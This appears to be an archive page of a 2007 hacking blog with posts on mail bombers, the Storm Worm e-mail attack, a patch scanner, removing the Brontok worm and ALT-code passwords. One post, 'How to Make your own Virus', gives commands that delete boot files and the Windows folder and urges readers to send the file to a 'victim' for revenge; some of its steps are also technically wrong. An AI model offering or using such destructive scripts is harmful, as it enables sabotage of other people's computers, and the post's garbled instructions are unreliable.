What are Mail Bombers ?

Posted on December 13, 2007 by Ashik

Mail bomber is the software that floods user’s e-mail with big number of mails. Mails can contain different information: from the simple newsletter to the offer to enlarge your body parts.

Mail bombers sometimes are used as mass mailing software and in that case are legal programs used for business improvement. Individual users also are able to use these programs.

Hackers Use European Storm to Spread E-Mail Attack

Posted on December 11, 2007 by Ashik

A massive malware attack spread throughout the world Thursday and Friday by teasing e-mail recipients to open infected messages supposedly about European wind storms. The attackers use of the subject line “230 dead as storm batters Europe” was an effective way to lure careless computer users into opening mail infected with the “Storm Worm” virus.

“Storm Worm” is the name that seems to have stuck for a massive malware Webroot AntiSpyware 30-Day Free Trial. Click here. attack that spread Thursday and Friday by teasing e-mail E-Mail Marketing Software – Free Trial. Click Here. recipients to open infected messages supposedly about European wind storms.

The attackers use of the subject line “230 dead as storm batters Europe” was an effective way to lure careless computer users into opening mail infected with the Small.DAM Trojan. Fierce winds were battering Europe simultaneously with the release of the messages.

The Trojan was launched when users clicked on attachments to the messages that said “Full Clip.exe,” “Full Story.exe,” “Read More.exe” and “Video.exe.”
Different Variations

However, the perpetrators also sent similarly infected, but differently titled, messages to thousands of other inboxes. These messages titillated readers into clicking the attachments by suggesting they would see videos of U.S. Secretary of State Condoleeza Rice kicking German Chancellor Angela Merkel which, unlike the storm, did not actually happen.

Others offered information or video pertaining to “British Muslims Genocide,” “Naked teens attack home director” and “A killer at 11, he’s free at 21 and kill again!”

The interesting part of the attack was the creativity and timing, according to Graham Cluley, senior technology consultant for Sophos Latest News about Sophos. “Everyone is concentrating on the storm angle of it, which is only one headline of course,” he said. “That was topical in Europe, where we’ve had some very, very bad weather. But another worthwhile thing to consider is the way they were trying to use humor to get people to open the mail as well.”

Many people enjoy reading jokes or weird news tidbits sent by e-mail, Cluley noted. “People who receive that and think they got a video attached to the e-mail might think, ‘That sounds funny. I might just click on it to have a look.’ This is taking advantage of the way people share jokes and videos. It’s not just the news aspect of it. There is all sorts of social engineering going on here.”
Topical Messages Enhance Effectiveness

The attack shows that hackers are staying abreast of world news. The European storm message was “created and launched literally as the storm raged,” according to Helsinki, Finland-based security company F-Secure Latest News about F-Secure.

The attack was powerful and widespread but, apparently, short-lived, F-Secure’s Chief Research Officer Mikko Hypponen told TechNewsWorld.

“This is over,” he added. “They stopped the attack. Whoever sent this isn’t doing it anymore. Looking at the rate of e-mails being sent, we believe they were targeting European users and it was a nine-hour window starting [Thursday] night and finishing at about 10 a.m. [Friday morning].”

The storm-related message was apparently meant to be awaiting users in the morning, according to Hypponen.

“The people woke up and saw news about a massive storm,” he explained. “They went to work and found an e-mail about the storm in their inboxes. Of course it’s going to work much better than the usual attack. They gained access to probably tens of thousands of computers in Europe.”
Zombie Network

The hackers, before the Thursday-through-Friday attack, had already gained control of thousands of PCs by prior malware infection, Hypponen noted. “They instructed those computers to do this 10-hour spam run. They had a very large [zombie] network See the HP StorageWorks All-in-One Storage System. Click here.. Now it’s much larger.”

The “huge attack” might have worked too well, in a sense, suggested Sophos’ Cluley. “The fact that this is making headlines actually works against the hackers” because so many people and antivirus companies are now aware of the incident, thanks to its creative and “colorful” nature.

How to Make your own Virus

Posted on December 4, 2007 by Ashik

Yes Now it is possible for you to have your own virus. But before doing anything yourself first of all you need to read the whole article first. And let me remind you that any problem occurs after you do anything then you are solely responsible for what has happened and I will not be responsible.

First of all Open your notepad and type the following………

del c:\boot।ini c:\del autoexec.bat

Now Save as anyname.exe. Create this in C: drive

The only thing you need is Notepad.

Create a text file called TEST.txt(empty) in C:\
Now in your notepad type “erase C:\TEST.txt” (without the quotes). Then save it as “Test.cmd”.
Now run the file “Test.cmd”go to C:\ and you’ll see your Test.txt is gone.

Now, the real work :

Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
Now DON’T Run the file or you’ll lose your WINDOWS map.

So, that’s the Virus. In this way you can make a virus to delete any file you want.

Now to take revenge. Send you file to your victim. Once victim opens it. WINDOWS map is Deleted. And he will have to install WINDOWS again.

Beware: Its simple but a strong virus that can delete anyones Windows OS …

Note: I am not Taking any Responsibilties if by this you damage your windows.

How Safe is Your Computer?

Posted on November 20, 2007 by Ashik

Security Facts about an average computer user

70% users Install a lot of softwares or games which he finds interesting.
80%of the user are not ready to update their system with latest patches.
60% of the user don’t know if there system is secure.
70% user don’t know how to find if the system is really secure

So how do you find if your system is secure and patched with latest patches and updates. Security System Analyzer (SSA) is a tool designed to check your system for the latest security updates. This tool can scan your system and find out the vulnerabilities about the missing patches and updates and provide you a link from where to get.

Features of SSA

Finds security vulnerabilities and the missing patches for windows.
Gives a direct link to possible patches to be used to remove the security hole.
Supports Windows 2000, XP, Vista.
One click to get the information about latest security vulnerabilities and others.
Generates HTML reports which makes view easy and can be exported.

Open Vulnerability and Assessment Language (OVAL) is an international, information security, community standard to promote open and publicly available security content, and to standardize the transfer of this information across the entire spectrum of security tools and services. OVAL includes a language used to encode system details, and an assortment of content repositories held throughout the community.

How SSA works?

This software completes the whole process in 3 steps:

Representing configuration information of systems for testing;
Analyzing the system for the presence of the specified machine state (vulnerability, configuration, patch state, etc.)
Reporting the results of this assessment

Resources

Download: ssa-setup.exe (9.9 MB)
Documentation: ssa-manual.pdf

This tool has an excellent feedback and does not require any user to be geeky. You just need to run the tool and find out whats not secured.

So how you keep track of your PC security? Do share with us in comments and we can discuss.

Remove Brontok Virus Urself

Posted on November 17, 2007 by Ashik

It is the Most “Sticky Virus” ..

The Brontok Virus is a computer worm that affects computers running Microsoft Windows. It spreads by sending itself to email addresses harvested from the affected computer. But Now you can Remove it on your Own. It Really works! And now you can have a good sleep because now you will be able to remove the most sticky virus “The Brontok Virus”.

- Start ur computer in safe mode with command prompt and type the following command to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v “DisableRegistryTools”
and run HKLM\software\microsoft\windows\currentversion\policies\system /v “DisableRegistryTools”

- After this your registry editor will be enabled

- Now type explorer

- Goto Run and type regedit

- Then follow the following path :-

HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain ‘Brontok’ and ‘Tok-’ words.

- After that restart your system

- Now open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ ‘NoFolderOption’
delete this entry and restart ur computer

- Now search *.exe files in all drives (search in hidden files also)
remove all files which are display like as folder icon.

Congratulations! Now your computer is completely free from Brontok Virus

Ultra Strong Passwords

Posted on November 17, 2007 by Ashik

As some Microsoft Operating System geeks know, you can type many more characters than are on a standard keyboard by using the ALT+NUMPAD combination technique. For example, by holding down the ALT key, typing 234 on the number pad, then releasing ALT gives you the O character. I’m writing this article mostly because when I search around for information on the topic of ALT+Number key combos I find pages that are lacking in details. Most of the pages I found are coming from the angle of using ALT+NUMPAD combinations as shortcuts for typing in non-English languages, but I have another use for them. Using ALT+NUMPAD can make for some very ugly passwords to crack. These odd characters have two major advantages over normal keystrokes:

1. They are unlikely to be in someone’s dictionary or brute force list. Try brute forcing a password like “ace of ?s” or “I am the a and the O”.

2. Some hardware key loggers will not log these odd characters. Your mileage may vary on this as some key loggers can, so don’t rely on it to keep you 100% safe.

I’ll cover the 2nd point more in an upcoming article. Using ALT+NUMPAD to type odd characters into your password also has a few disadvantages.

1. The way they are described in this article only works in Microsoft Operating Systems (DOS, Windows 9x, Vista, XP, 2000), and there may be some variation amongst the different versions. If you know of a good way to do the same thing in Linux please email me.

2. Not all applications will let you use these odd characters. For testing I tried the password “Oÿ” (ALT+234 and ALT+0255) on a Windows XP local account,, but not all application will let you use these sorts of characters in your password.

Microsoft has the following to say on the subject of ALT+NUM key codes:

From:http://www.microsoft.com/globaldev/reference/glossary.mspx

Alt+Numpad: A method of entering characters by typing in the character’s decimal code with the Numeric Pad keys (Num Lock turned on). In Windows:

• Alt+, where xxx is the decimal value of a code point, generates an OEM-encoded character.
• Alt+<0xxx>, where xxx is the decimal value of a code point, generates a Windows-encoded character.
• Alt+<+>+, where xxxx is the hexadecimal Unicode code point, generates a Unicode-encoded (UTF-16) character.

Shortly I’ll explain explain the first two methods further. The 3rd is more problematic to work with. First, you may have to edit your registry and add a the REG_SZ value “HKEY_Current_User/Control Panel/Input Method/EnableHexNumpad”, then set it to “1″. Also, depending on where you are trying to type the character the application may interpret your hexadecimal Fs as attempts to bring down the file menu. Since method three is so problematic I’ll focus on the first two methods.

First, make sure you are using the number pad and not the top roll number keys, only the number pad works for this. Second, make sure NUM LOCK is on. It does not have to be on in all cases for these key combos to work, but it helps by keeping the number pad from being misinterpreted.

The chart from the site shows the relevant key codes to get various symbols. The table on the left shows the OEM Extended ASCII character set (AKA: IBM PC Extended Character Set; Extended ASCII; High ASCII; 437 U.S. English). True ASCII is only 7 bit, so the range is 0 to 127. IBM extended it to 8 bits and added more characters. To type these characters you merely have to hold down an ALT key, type the numeric value of the character, then release the ALT key.

The table on the right shows the ANSI character set (AKA: Window’s ANSI/ISO Latin-1/ANSI Extended ASCII, though technically they are not exactly the same thing.). To use the ANSI character set you do the same thing as the OEM set, but you preface the number with an extra zero. Notice that the first 127 should be the same in both sets, though values 0-31 may not be viewable in all cases. I’ve been in “character encoding hell” just trying to get this article on my site in a readable format.

For example, ALT+257 gives me a in Wordpad, but in Notepad it loops back around the character set and gives me?(257-256=1 which is ? in the OEM set) . If you want to know what key code will bring up a particular character in a certain Windows font run Windows Character Map (charmap.exe) and look in the bottom right corner to find out.

some examples :

ALT+130 é
ALT+131 â
ALT+132 ä
ALT+133 à
ALT+134 å
ALT+135 ç
ALT+136 ê
ALT+137 ë
ALT+138 è
ALT+139 ï
ALT+140 î
ALT+141 ì
ALT+142 Ä
ALT+143 Å
ALT+144 É
ALT+145 æ
ALT+146 Æ
ALT+147 ô
ALT+148 ö
ALT+149 ò
ALT+150 û
ALT+151 ù
ALT+152 ÿ
ALT+153 Ö
ALT+154 Ü
ALT+155 ¢
ALT+156 £
ALT+157 ¥
ALT+158 P
ALT+159 ƒ
ALT+160 á
ALT+161 í
ALT+162 ó
ALT+163 ú
ALT+164 ñ
ALT+165 Ñ
ALT+166 ª
ALT+167 º
ALT+168 ¿
ALT+169 ¬

Hacking Truths

Hacking is fun, If you are a "Hacker"!

Category Archives: Security